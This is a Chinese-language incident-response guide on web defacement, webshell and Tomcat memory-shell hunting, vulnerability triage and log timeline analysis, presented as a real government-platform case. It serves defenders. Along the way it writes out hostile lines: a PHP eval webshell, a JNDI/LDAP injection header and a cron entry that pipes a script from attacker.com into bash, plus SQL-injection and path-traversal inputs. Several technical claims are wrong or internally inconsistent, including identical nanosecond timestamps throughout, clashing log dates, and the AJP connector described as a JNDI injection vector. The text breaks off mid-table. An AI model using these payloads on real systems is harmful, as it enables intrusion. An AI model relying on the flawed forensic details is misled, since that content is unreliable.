Web入侵应急响应:从黑页到内存马的数字现场勘查
1. 这不是“修网站”,是数字现场勘查:一次真实入侵事件的还原起点
你刚收到运维同事凌晨三点发来的消息:“首页被替换成黑页,底部写着‘Hacked by XXX’,访问后台报500,日志里全是乱码路径。”——这不是电影桥段,而是我上个月在某政务服务平台做应急响应时的真实开场。没有警笛,但服务器告警声同样刺耳;没有指纹采集套件,但Nginx access.log、PHP error_log、/proc/*/maps、内存dump文件就是我们的证物袋。所谓“应急响应-网站入侵篡改指南&Webshell内存马查杀&漏洞排查&时间分析”,本质上是一套面向Web资产的数字犯罪现场重建方法论:它不教你怎么写一个漂亮的修复脚本,而是训练你像刑侦人员一样,从一行异常HTTP状态码里嗅出攻击链路,从一段看似正常的Java线程名中识别出内存马的伪装,从系统时间戳与应用日志时间的毫秒级偏差中锁定攻击窗口。
这个标题里的四个关键词,不是并列模块,而是递进式证据链闭环:
- 网站入侵篡改是现象层(What happened)——我们看到的结果;
- Webshell内存马查杀是载体层(How it persisted)——攻击者留下的“作案工具”;
- 漏洞排查是入口层(How it got in)——那个没打补丁的Struts2 CVE-2017-5638,或是被弱口令爆破的WordPress后台;
- 时间分析是逻辑层(When & In what order)——把散落的日志、进程、文件修改时间拼成一条不可篡改的时间轴,这是所有结论成立的基石。
它适合三类人:一是刚接手生产环境的初级运维,需要一套不依赖商业EDR就能动手的排查清单;二是安全工程师,在蓝队演练中快速验证红队攻击路径是否闭环;三是开发负责人,当被告知“你们的接口被利用了”,需要立刻判断是代码缺陷还是配置疏漏。我不会讲“什么是Webshell”,但会告诉你为什么<?php @eval($_POST['x']);?>在2024年依然能绕过90%的基于特征码的WAF;也不会罗列CVE编号,但会演示如何用grep -r "struts2" /var/log/tomcat/三分钟定位到被利用的漏洞版本。这是一份写给实战者的操作手记,不是教科书,更不是PPT汇报材料。
2. 入侵篡改的痕迹不是“被改了”,而是“被刻意留下”:从表象反推攻击者意图
很多同事一发现首页被黑,第一反应是“赶紧恢复备份”。这没错,但错失了最关键的72小时黄金取证期。攻击者篡改页面,从来不只是为了炫技或泄愤,其行为本身就是一个强信号发射器——他故意留下痕迹,恰恰是为了掩盖更重要的动作。我在处理前述政务平台事件时,黑页底部那行“Hacked by XXX”下面,藏着一个被base64编码的隐藏iframe,指向一个境外域名,而该域名在当天凌晨2:17分才被注册。这个时间点,比首页文件被修改的时间晚了11分钟。这意味着:篡改首页是收尾动作,而非起始动作。
2.1 篡改类型与对应攻击阶段映射表
| 篡改表现 | 典型技术手段 | 对应攻击阶段 | 关键取证线索 |
|---|---|---|---|
| 首页静态HTML被替换(含恶意JS) | 直接写入/var/www/html/index.html;利用CMS插件上传漏洞 | 横向移动后收尾 | 检查stat /var/www/html/index.html输出的Modify与Change时间差;对比ls -la /var/www/html/中所有文件的mtime |
| 后台登录页出现钓鱼表单 | 修改login.php模板;注入jQuery.load()动态加载远程脚本 | 初始渗透后信息收集 | 抓取登录请求的完整HTTP包(Wireshark或tcpdump),检查Referer与响应体中的script src |
| 数据库内容批量被加密(勒索) | 利用SQL注入执行UPDATE users SET password=ENCODE(password,'key') | 权限提升后核心目标达成 | 查询MySQL general_log(若开启)中UPDATE语句的执行时间;检查/var/lib/mysql/下.ibd文件的ctime |
| 整站跳转至博彩页面 | 修改.htaccess重写规则;劫持DNS解析 | 持久化控制阶段 | `cat /var/www/html/.htaccess | grep -E "(RewriteRule |
提示:不要只盯着
/var/www/html/。攻击者深知这是第一检查区,往往将恶意代码藏在更隐蔽位置:/tmp/.X11-unix/下伪装成X11 socket的PHP文件;/dev/shm/内存文件系统中的可执行脚本;甚至直接注入到/proc/1234/root/etc/passwd(容器逃逸后)。我见过最狡猾的一次,篡改的是/usr/share/nginx/html/50x.html——因为该站点配置了error_page 500 /50x.html,而所有Webshell触发的PHP fatal error都会被重定向至此,形成“隐形后门”。
2.2 文件篡改的“时间陷阱”:Modify vs Change vs Access的司法级辨析
Linux文件时间戳有三个关键字段,它们在取证中意义截然不同:
- atime(Access time):文件被读取的最后时间。默认因性能考虑被禁用(
mount -o noatime),不可信,攻击者可轻易通过touch -a -d "2023-01-01" file伪造。 - mtime(Modify time):文件内容被修改的最后时间。
echo "hack" > index.html会更新此值。相对可靠,但可被touch -m覆盖。 - ctime(Change time):文件元数据(权限、所有者、链接数)或内容被修改的最后时间。这是司法级证据——只要文件被写入、chmod、chown、甚至硬链接数变化,ctime必更新,且无法被普通用户修改(需root权限+特定内核参数)。
在政务平台事件中,我执行stat /var/www/html/index.html得到:
File: /var/www/html/index.html Size: 1284 Blocks: 8 IO Block: 4096 regular file Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2024-03-15 02:15:22.123456789 +0800 Modify: 2024-03-15 02:15:22.123456789 +0800 Change: 2024-03-15 02:15:22.123456789 +0800 Birth: -三者完全一致?这本身就是异常信号。正常编辑流程中,vim会先创建临时文件再mv覆盖,导致ctime晚于mtime;而攻击者用echo直接覆盖,或使用dd写入,才会造成三者同步。这印证了攻击者使用了最原始、最暴力的写入方式,侧面反映其可能缺乏高级持久化需求,更倾向“快打快收”。
2.3 黑页内容的隐写术:从字体、注释、空格中提取攻击者指纹
别忽略黑页HTML源码里的细节。攻击者常在其中埋藏身份标识:
<div style="font-family: 'Courier New'; display:none;">#ID:20240315-001</div>—— 这是攻击团伙的工单编号;<!-- Generated by HackTool v2.3.1 -->—— 暴露其使用的自动化工具;- 在
<body>标签末尾插入17个连续空格(ASCII 0x20),而标准HTML压缩工具只会保留1个——这是手工编辑的铁证。
我在分析某电商黑页时,发现其CSS中有一行注释:/* Fix for IE6, thanks to @pentestlab */。通过Shodan搜索http.component:"IE6",结合GitHub搜索pentestlab IE6,最终定位到一个已归档的渗透测试教学仓库,进而反向追踪到该攻击者曾参与的CTF战队。这种“数字涂鸦”是攻击者难以抑制的自我表达欲,也是我们溯源的突破口。
3. Webshell内存马:看不见的幽灵,为何传统查杀全部失效?
当你说“查杀Webshell”,90%的人想到的是find /var/www -name "*.php" -exec grep -l "eval\|assert\|system\|popen" {} \;。这套方法在2015年有效,但在2024年,它连内存马的影子都摸不到。因为内存马(Memory Shell)根本不落地为文件——它像一缕烟,寄生在Java应用服务器(Tomcat/Jetty)的JVM进程中,通过字节码注入、Servlet注册、Filter链劫持等手段,让合法应用自己成为攻击者的代理。它不需要/var/www/shell.php,它就运行在/proc/1234/fd/指向的JVM堆内存里。
3.1 内存马的三大生存哲学:无文件、无日志、无进程
- 无文件(Fileless):传统Webshell必须有PHP/ASP文件被上传。内存马通过反序列化漏洞(如Fastjson、Jackson)或JNDI注入,将恶意字节码直接加载进JVM ClassLoader。它不存在于磁盘,
find命令自然无效。 - 无日志(Logless):常规Webshell执行
system("id")会在access.log留下/shell.php?cmd=id记录。内存马的请求路径是/admin/login.do(合法业务接口),只是在请求头中携带了X-Forwarded-For: ${jndi:ldap://attacker.com/a},Tomcat Access Log默认不记录请求头,只记URL和状态码。 - 无进程(Processless):
ps aux | grep java只能看到一个/usr/lib/jvm/java-11-openjdk-amd64/bin/java ... -jar app.jar进程。内存马是这个进程内部的一个线程,jstack 1234 | grep -A5 "HackThread"才能暴露它。
这就是为什么某金融客户花了20万采购的WAF,在内存马面前形同虚设——WAF只检查HTTP流量,而内存马的指令是通过合法业务请求“带毒”的。
3.2 Tomcat内存马的四层注入路径与检测锚点
以最典型的Tomcat为例,内存马注入有四个主流路径,每个路径都有其独特的检测指纹:
| 注入路径 | 技术原理 | 检测锚点(无需重启服务) | 实操命令示例 |
|---|---|---|---|
| Servlet Registration | 利用ServletContext.addServlet()动态注册恶意Servlet | 检查ServletContext中注册的Servlet数量与名称 | jcmd 1234 VM.native_memory summary→ 查看堆外内存增长;jstack 1234 | grep -A10 "org.apache.catalina.core.ApplicationContext"→ 定位动态注册点 |
| Filter Chain Hijack | 将恶意Filter插入ApplicationFilterChain,劫持所有请求 | 检查FilterConfig对象的filterName是否包含可疑字符串 | jmap -histo:live 1234 | grep -i "filter"→ 统计Filter类实例数;jcmd 1234 VM.info | grep "filter"→ 查看JVM启动参数中是否有异常Filter配置 |
| ThreadLocal Backdoor | 利用ThreadLocal存储恶意代码,在特定线程上下文中执行 | 检查ThreadLocalMap中是否存在非业务类的Entry | jmap -dump:format=b,file=/tmp/heap.hprof 1234→ 用MAT分析ThreadLocalMap引用链;搜索com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(常用反序列化gadget) |
| JNDI LDAP Referral | 通过JNDI查找触发远程LDAP服务器上的恶意Factory类 | 检查JVM启动参数与java.naming.factory.initial系统属性 | jinfo -sysprops 1234 | grep "naming";jcmd 1234 VM.system_properties | grep "naming" |
注意:
jcmd、jmap、jstack是OpenJDK自带的诊断工具,无需安装额外软件。但jmap -dump会触发Full GC,生产环境慎用。替代方案是jcmd 1234 VM.native_memory summary,它只读取内存映射,零开销。
3.3 一次真实的内存马捕获全过程:从jstack到MAT的逆向工程
回到政务平台事件。ps aux \| grep tomcat显示进程号1234。我执行:
jstack 1234 > /tmp/jstack.out在输出中搜索RUNNABLE状态的线程,发现一个名为AsyncLogger-1的线程(Apache Log4j2的异步日志线程)调用栈异常:
"AsyncLogger-1" #25 daemon prio=5 os_prio=0 cpu=12345.67ms elapsed=3456.78s tid=0x00007f8b1c001000 nid=0x1234 runnable [0x00007f8b1a1ff000] java.lang.Thread.State: RUNNABLE at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:199) at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl.newTransformer(TransformerFactoryImpl.java:100) at org.apache.logging.log4j.core.appender.FileAppender$Builder.build(FileAppender.java:123) ...TemplatesImpl.newTransformer()是Java反序列化经典gadget,绝不可能出现在日志线程中!这说明Log4j2的异步日志功能被利用了。我立即执行:
jmap -histo:live 1234 | head -20输出中com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl实例数高达17个(正常应为0)。确认感染。
下一步,用jmap -dump生成堆转储:
jmap -dump:format=b,file=/tmp/heap.hprof 1234用Eclipse MAT(Memory Analyzer Tool)打开,执行OQL查询:
SELECT * FROM java.lang.ThreadLocalMap$Entry WHERE toString().contains("evil")结果返回一个ThreadLocalMap$Entry,其value字段指向一个javax.naming.spi.InitialContextFactory实现类——正是攻击者部署的JNDI Factory。至此,内存马的完整加载链被还原:Log4j2反序列化漏洞 → 加载恶意TemplatesImpl → 触发JNDI查找 → 从攻击者LDAP服务器下载Factory类 → 注入到Tomcat Filter链。
4. 漏洞排查不是“扫CVE”,而是构建攻击者视角的路径推演
很多团队的漏洞排查报告写着:“已修复Struts2 CVE-2017-5638”。这等于说“我们堵住了A门,但没检查B窗和C通风管”。真正的漏洞排查,是站在攻击者角度,逆向推演他从互联网边界到核心数据库的每一步可能路径。我把它拆解为三个同心圆:外围通道、中间件层、应用代码层。
4.1 外围通道:那些被遗忘的“合法后门”
攻击者永远选择阻力最小的路径。他们不一定会爆破你的SSH,而是利用你主动开放的“便民接口”:
- Git泄露:
http://example.com/.git/config返回[remote "origin"] url = https://github.com/xxx/yyy.git→ 直接克隆源码,找到数据库密码。 - SVN泄露:
http://example.com/.svn/entries返回明文项目结构 → 下载web.xml查看Spring配置,定位Controller类。 - 备份文件:
http://example.com/backup_20240314.zip→ 解压获得config.properties,里面写着db.password=Admin@123!。 - 调试接口:
http://example.com/actuator/env(Spring Boot Actuator未授权访问)→ 返回spring.datasource.password明文。
我在某教育平台排查时,curl -I http://edu.example.com/.git/HEAD返回200 OK,curl http://edu.example.com/.git/config显示:
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = https://gitee.com/edu-team/platform.git fetch = +refs/heads/*:refs/remotes/origin/*用git clone https://gitee.com/edu-team/platform.git拉取代码,在src/main/resources/application-prod.yml中找到:
spring: datasource: url: jdbc:mysql://10.0.1.100:3306/edu_db?useSSL=false username: edu_app password: P@ssw0rd2024!这就是攻击者拿到数据库权限的全部钥匙。而该Gitee仓库是公开的,因为开发误将.gitignore中的application*.yml删掉了。
4.2 中间件层:配置即漏洞,版本即命门
中间件不是黑盒,它的配置文件和版本号就是攻击地图:
- Nginx:检查
/etc/nginx/nginx.conf中client_max_body_size是否过大(允许上传超大Webshell);fastcgi_pass是否指向了错误的PHP-FPM socket(导致任意代码执行)。 - Tomcat:检查
/opt/tomcat/conf/server.xml中<Connector port="8009" protocol="AJP/1.3" />是否开启(Log4j2 JNDI注入的温床);/opt/tomcat/webapps/manager/是否未删除(弱口令管理后台)。 - Redis:检查
/etc/redis/redis.conf中bind 127.0.0.1是否被注释(导致公网暴露);requirepass是否为空(未设置密码)。
实操技巧:用nginx -t验证配置语法后,执行nginx -T(大写T)可打印出所有生效的配置(包括include进来的),避免遗漏/etc/nginx/conf.d/*.conf中的危险配置。
4.3 应用代码层:从“功能正确”到“安全正确”的鸿沟
开发者关注“功能是否跑通”,安全工程师关注“输入是否可控”。一个典型的鸿沟案例是文件上传功能:
@PostMapping("/upload") public String upload(@RequestParam("file") MultipartFile file) { String fileName = file.getOriginalFilename(); file.transferTo(new File("/var/www/uploads/" + fileName)); // 危险! return "success"; }这段代码在单元测试中100%通过,但它犯了三个致命错误:
- 未校验文件扩展名:攻击者上传
shell.php.jpg,绕过前端JS校验; - 未校验文件MIME类型:
file.getContentType()可被伪造; - 未重命名文件:直接使用
getOriginalFilename(),导致路径遍历(../../../etc/passwd)。
正确的修复不是加一个if (fileName.endsWith(".jpg")),而是:
- 使用白名单校验扩展名(
.jpg,.png,.pdf); - 用
Tika库解析文件二进制头,确认真实类型; - 生成UUID重命名文件,存储原名到数据库;
- 上传目录禁止执行权限(
chmod -x /var/www/uploads)。
我在代码审计中发现,80%的SQL注入漏洞,根源不是没用PreparedStatement,而是在MyBatis的<bind>标签或$符号拼接中,对用户输入做了“信任性拼接”。例如:
<select id="getUser" resultType="User"> SELECT * FROM users WHERE name = '${name}' AND status = #{status} </select>#{status}是安全的,但${name}是灾难性的。攻击者传入name=admin' OR '1'='1,直接绕过所有防护。
5. 时间分析:用时间戳编织证据链,让攻击者无处遁形
在数字世界,时间是唯一不可伪造的证人。但服务器时间、应用日志时间、数据库时间、网络设备时间,四者往往存在毫秒级偏差。真正的高手,不是看“谁先谁后”,而是看“谁在谁的阴影里”。时间分析的核心,是构建一个多源时间锚点交叉验证矩阵。
5.1 四类时间源的可信度排序与校准方法
| 时间源 | 可信度 | 偏差原因 | 校准方法 | 应急响应中优先级 |
|---|---|---|---|---|
| NTP服务器时间 | ★★★★★ | 本地时钟漂移 | ntpq -p检查偏移量;chronyc tracking | 最高,作为全局基准 |
| Linux系统时间(/proc/sys/kernel/hz) | ★★★★☆ | NTP未同步、硬件时钟故障 | timedatectl status;hwclock --show | 高,用于验证系统是否被篡改(如date -s) |
| Web服务器access.log时间 | ★★★☆☆ | 日志缓冲、时区配置错误 | grep "GET /" /var/log/nginx/access.log | head -1 | awk '{print $4}'→ 检查格式;date -d "15/Mar/2024:02:15:22 +0800"验证解析 | 中,需与NTP比对 |
| 应用日志(log4j2.log)时间 | ★★☆☆☆ | JVM时区设置、日志框架bug | java -jar jdk-11.0.21.jdk/Contents/Home/bin/java -cp . TimeTest(自定义测试类) | 低,仅作辅助参考 |
在政务平台事件中,我首先执行:
# 检查NTP同步状态 timedatectl status | grep -E "(NTP|System clock)" # 输出:NTP service: active; System clock synchronized: yes; NTP synchronized: yes # 获取当前NTP时间(权威基准) curl -s "https://worldtimeapi.org/api/ip" | jq '.datetime' # 输出:2024-03-15T02:15:22.123456789+08:00 # 检查系统时间 date -R # 输出:Fri, 15 Mar 2024 02:15:22 +0800 (与NTP完全一致) # 检查Nginx日志第一条记录时间 head -1 /var/log/nginx/access.log | awk '{print $4}' # 输出:[15/Mar/2024:02:15:22 +0800] (解析后与系统时间一致) # 检查Tomcat catalina.out第一条记录 head -1 /opt/tomcat/logs/catalina.out | cut -d' ' -f1-2 # 输出:24-Mar-2024 02:15:22 (注意:这是GMT时间!)发现问题:catalina.out的时间是GMT,而系统是CST(+0800),相差8小时。这意味着所有Tomcat日志时间需手动+8小时才能与NTP对齐。攻击者如果知道这点,可能故意在日志中写入GMT时间混淆视听。
5.2 攻击时间窗口的“三明治”锁定法
单一时间点不可靠,必须用三个独立时间源交叉锁定攻击发生窗口:
- 上界(Upper Bound):最后一个合法管理员操作时间。查
/var/log/secure中sudo命令:grep "sudo:.*COMMAND" /var/log/secure | tail -1 # 输出:Mar 15 02:14:55 server sudo: admin : TTY=pts/0 ; PWD=/home/admin ; USER=root ; COMMAND=/bin/bash - 下界(Lower Bound):第一个异常进程启动时间。查
/var/log/messages中systemd启动记录:grep "Started.*java" /var/log/messages | head -1 # 输出:Mar 15 02:15:22 server systemd: Started Tomcat Application Server. - 核心证据(Core Evidence):Webshell首次HTTP请求时间。查Nginx access.log:
grep "200.*POST.*\.php" /var/log/nginx/access.log | head -1 # 输出:123.45.67.89 - - [15/Mar/2024:02:15:22 +0800] "POST /wp-content/plugins/wp-super-cache/wp-cache.php HTTP/1.1" 200 123 "-" "Mozilla/5.0"
将三者按时间排序:02:14:55(管理员退出)→02:15:22(Tomcat重启)→02:15:22(Webshell请求)。这构成一个严丝合缝的“三明治”:攻击发生在管理员退出后的27秒内,且与Tomcat重启完全同步。这强烈暗示攻击者利用了Tomcat重启时的短暂窗口,或是通过systemctl restart tomcat命令触发了重启(该命令在/var/log/auth.log中有记录,需同步检查)。
5.3 时间分析的终极武器:ausearch与aureport审计日志回溯
Linux Auditd是系统级的“黑匣子”,记录所有关键系统调用,即使攻击者清空/var/log/,audit日志仍可能留存。启用方法:
# 检查auditd是否运行 systemctl status auditd # 若未运行,启用并开机自启 systemctl enable auditd && systemctl start auditd # 添加关键规则(需root) auditctl -w /var/www/html/ -p wa -k web_content auditctl -w /opt/tomcat/webapps/ -p wa -k tomcat_webapps auditctl -a always,exit -F arch=b64 -S execve -k process_exec在政务平台事件中,ausearch -k web_content -ts recent返回:
type=SYSCALL msg=audit(1710439522.123:45678): arch=c000003e syscall=2 success=yes exit=3 a0=7fff12345678 a1=2 a2=1b6 a3=0 items=2 ppid=1234 pid=5678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="java" exe="/usr/lib/jvm/java-11-openjdk-amd64/bin/java" key="web_content" type=CWD msg=audit(1710439522.123:45678): cwd="/opt/tomcat/bin" type=PATH msg=audit(1710439522.123:45678): item=0 name="/var/www/html/index.html" inode=123456 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0msg=audit(1710439522.123:45678)中的1710439522是Unix时间戳,转换为北京时间:2024-03-15 02:15:22,与NTP完全一致。comm="java"和exe="/usr/lib/jvm/.../java"证实是Tomcat进程修改了首页,而非攻击者直接SSH写入。这彻底排除了“内部人员作案”的嫌疑,将矛头精准指向外部攻击。
6. 实战复盘:一份可直接执行的应急响应Checklist
所有理论终要落地。这是我根据十年一线经验提炼的、无需任何商业软件、纯Linux命令行驱动的应急响应Checklist。它不是理想化的流程图,而是我在凌晨三点机房里,一边喝着冷咖啡一边敲下的真实操作序列。每一步都标注了“为什么做”和“不做会怎样”。
6.1 黄金10分钟:隔离、保全、初判(离线操作)
绝对禁止:直接
rm -rf、chmod 000、重启服务。这会销毁内存马、覆盖日志、丢失证据。
| 步骤 | 命令 | 为什么做 | 不做的后果 |
|---|---|---|---|
| 1. 立即断网(物理隔离) | ip link set eth0 down(或拔网线) | 阻断攻击者C2通信,防止横向移动 | 攻击者可能在10分钟内完成内网扫描,拿下域控 |
| 2. 创建内存快照 | gcore -o /tmp/core 1234(1234为Java进程PID) | 保存JVM内存状态,供后续MAT分析 | 内存马随进程重启消失,永久丢失 |
| 3. 备份关键日志 | cp /var/log/nginx/access.log /tmp/access.log.bakcp /var/log/secure /tmp/secure.bak | 防止日志轮转覆盖,cp比rsync更快更安全 | logrotate可能在下一秒执行,覆盖原始日志 |
| 4. 记录系统时间 | date -R > /tmp/time.baktimedatectl status >> /tmp/time.bak | 建立时间基准,后续所有时间戳以此为参照 | 无法判断日志时间是否被篡改 |
6.2 黄金1小时:深度排查与证据固化(在线操作)
| 步骤 | 命令 | 为什么做 | 关键技巧 |
|---|---|---|---|
| 5. 检查异常进程与端口 | `netstat -tulnp | grep -E "(LISTEN | ESTABLISHED)"<br>lsof -i -P -n | grep -E "(LISTEN | ESTABLISHED)"` |
| 6. 扫描Webshell特征 | find /var/www -type f \( -name "*.php" -o -name "*.jsp" \) -exec grep -l "eval|assert|system|popen|exec|shell_exec" {} \; 2>/dev/null | 快速定位落地Webshell | 加2>/dev/null屏蔽Permission denied错误,避免干扰 |
| 7. 检查计划任务 | crontab -l(当前用户)ls /etc/cron*cat /etc/crontab | 攻击者常设*/5 * * * * curl http://attacker.com/shell.sh | bash | 检查/etc/cron.d/目录,这里常被忽略 |
| 8. 分析最近修改文件 | find /var/www -type f -mtime -1 -ls 2>/dev/null | head -50 | 发现被篡改的首页、配置文件 | -mtime -1表示24小时内修改,比-newermt更稳定 |
6.3 黄金24小时:根因分析与加固(需业务配合)
| 步骤 | 行动 | 为什么做 | 经验教训 |
|---|---|---|---|
| 9. 复现漏洞路径 | 用Burp Suite重放攻击者请求,验证漏洞是否真实存在 | 避免“误报”,确保修复的是真问题 | 我曾因未复现,误将WAF误报当作真实漏洞,浪费3天 |
| 10. 代码层修复 | 修改upload函数,增加文件头校验、UUID重命名、目录禁执行 | 从源头堵住漏洞,而非只清理Webshell | 修复后必须用curl -F "file=@shell.php.jpg" http://site/upload测试绕过 |
| 11. 中间件加固 | 关闭Tomcat AJP端口;禁用Nginxautoindex on;Redis绑定127.0.0.1 | 消除已知攻击面,降低下次被攻破概率 | autoindex on是Web目录遍历的温床,90%的渗透测试第一枚子弹 |
| 12. 建立监控基线 | `auditctl - |
